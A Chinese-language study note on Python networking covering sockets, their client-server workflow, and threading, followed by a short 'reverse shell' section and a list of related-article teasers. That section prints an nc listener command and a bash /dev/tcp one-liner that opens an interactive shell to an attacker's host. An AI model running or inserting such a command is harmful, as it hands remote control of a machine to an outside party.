18、Python第二节
文章目录
- Socket套接字
- Socket工作流程
- 多线程
- 反弹shell
Socket套接字
https://www.runoob.com/python3/python3-socket.html
Python 提供了两个级别访问的网络服务。:
- 低级别的网络服务支持基本的 Socket,它提供了标准的 BSD Sockets API,可以访问底层操作系统Socket接口的全部方法。
- 高级别的网络服务模块 SocketServer, 它提供了服务器中心类,可以简化网络服务器的开发。
Socket是对TCP/UDP协议的封装,使用socket自然就遵守了TCP/UDP的协议规则。
Socket工作流程
- 服务端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。
- 客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。
- 客户端发送数据请求,服务器端接受请求并处理,然后把结果发送给客户端。
- 客户端接收服务端发送的结果数据,最后关闭连接,一次交互完成。
服务端关闭的话,客户端还发送请求,会导致类似死锁一样,客户端等不到服务端响应,像卡主了一样。
多线程
https://www.runoob.com/python3/python3-multithreading.html
在 Python3 中不能再使用"thread" 模块。为了兼容性,Python3 将 thread 重命名为 “_thread”。
反弹shell
- 调用nc后门
攻击机:nc -lvvp 5000
#监听5000端口
客户机:bash -i >& /dev/tcp/ip/prod 0>&1
#连接攻击机 - 调用系统tcp形式后门
- 使用socket绑定/bin/bash
- 直接socket+popen管道
18、Python第二节相关推荐
- 【Python基础知识-pycharm版】第二节-赋值/数据类型/时间点/运算符/字符串
python第二节 链式赋值_系列解包赋值 内置数据类型 时间表示unix时间点 多点坐标绘出折线图 运算符 字符串 部分来源: 1.https://blog.csdn.net/wys103158/a ...
- Python基础学习(第二节 下)
这里写目录标题 1.布尔值的相关运算符 (1)布尔值 (2)比较运算符 (3)逻辑运算符 (4)同一运算符 2.字符串 (1)字符串的基本特点 (2)字符串的创建和len( )函数 (3)转义字符 ( ...
- Python编程基础:第二节 多重赋值Multiple Assignment
第二节 多重赋值Multiple Assignment 前言 取不同值的变量 取相同值的变量 前言 上一节中我们介绍了变量,通常情况下需要为每一个变量赋予相应的值,但是我们如果将每一个变量赋值都用一行 ...
- 第二节:Python要点
第二节:Python要点 1,python语言 1.1Python语言的基本概念 官⽅对 Python 的介绍如下: Python 是⼀款易于学习且功能强⼤的编程语⾔. 它具有⾼效率的数据结 构,能够 ...
- 【数据聚类】第三章第二节2:K-Means算法及其Python实现(算法实现、结果展示)
pdf下载(密码:7281) 本文上接:[数据聚类]第三章第二节1:K-Means算法及其Python实现(距离度量方式.目标函数和算法流程) 本文下接:[数据聚类]第三章第二节3:K-Means算法 ...
- 【v2.x OGE-example 第二章(第二节) 修改器的使用】
2019独角兽企业重金招聘Python工程师标准>>> [v2.x OGE-example 第二章(第二节) 修改器的使用] 1. 位置:Modifier_example --> ...
- 《流畅的Python第二版》读书笔记——函数作为一等对象
引言 这是<流畅的Python第二版>抢先版的读书笔记.Python版本暂时用的是python3.10.为了使开发更简单.快捷,本文使用了JupyterLab. 函数是Python的一等( ...
- 高红梅:第三章 第二节 身份焦虑与英雄梦
第二节 身份焦虑与英雄梦 海明威一生都在世界各地旅行,其足迹遍及欧洲.非洲.美洲和亚洲,有世界公民的美誉.正如学者卡洛斯·贝克(Baker ,Carlos)所言,"早在他五十五岁荣获诺贝尔文 ...
- 自学Python第二十六天- Tornado 框架
自学Python第二十六天- Tornado 框架 安装及基础引用 创建.配置.初始化应用及简单运行服务 创建应用 对 app 进行设置 另一种设置方法 一些其他的配置 关于调试模式 设置路由处理器 ...
- 从零写VIO|第二节——作业:使用Allen方差工具标定IMU
这里写目录标题 作业内容 1 安装im_utils 1.1. 安装依赖: 1.2 编译 1.3 可能出的错误 2. 运行 ~~2.1 采集IMU数据~~ 2.2 生成imu.bag 2.3 新建imu ...
最新文章
- Java 中字符串的格式化
- Ecplise SVN 配置和使用
- 【VS开发】C++线程安全
- java 动态增加定时任务
- Java LinkedList对象的get(int index)方法与示例
- java get set 注解_java技能提升,用Lombok甩掉get和set,让代码变得更简洁
- sink的简历(2011-6-20),寻工作一份
- Session的clear方法和flush方法
- springmvc跨域资料收集
- 最新!泰晤士2021亚洲大学排名发布:91所中国大陆高校上榜!
- 微信核酸检测预约小程序系统毕业设计毕设(6)开题答辩PPT
- Mybatis collection 递归查询并自动装填所有子节点(多参数查询传入参数方法)
- 学计算机要高智商吗,这7大高智商专业,很容易挂科,如果不是学霸级人物,最好不要报考...
- LC765. 情侣牵手
- 工业设计公司如何进行家电设计创新?
- spring aop 切面添加日志
- 求素数(质数)的方法(求100以内的素数及判断该数是否为素数)
- Css实现刘海,纯CSS样式写刘海屏效果
- CTF术语_ReversePwn(持续更新)
- 1.1 车标图像分类
热门文章
- scrapy爬取动态网页
- 计算机第三套演示文稿yswg.pptx,打开考生文件夹下的演示文稿yswg.pptx,根据考生文件夹下的文件“PPT-素材.docx”,按照下列要求完善 - 赏学吧...
- 批量安装windows系统补丁包
- 学大数据应该会什么?
- warmup与余弦退火学习率
- 双目标定(三)标定流程(含矫正)
- UCenter Home 正式开源 促进国内SNS网站发展
- 面试题之10亿正整数问题--完整解答
- 老徐WEB:js入门学习 - javascript对象之Array对象
- 2022年羊城杯wp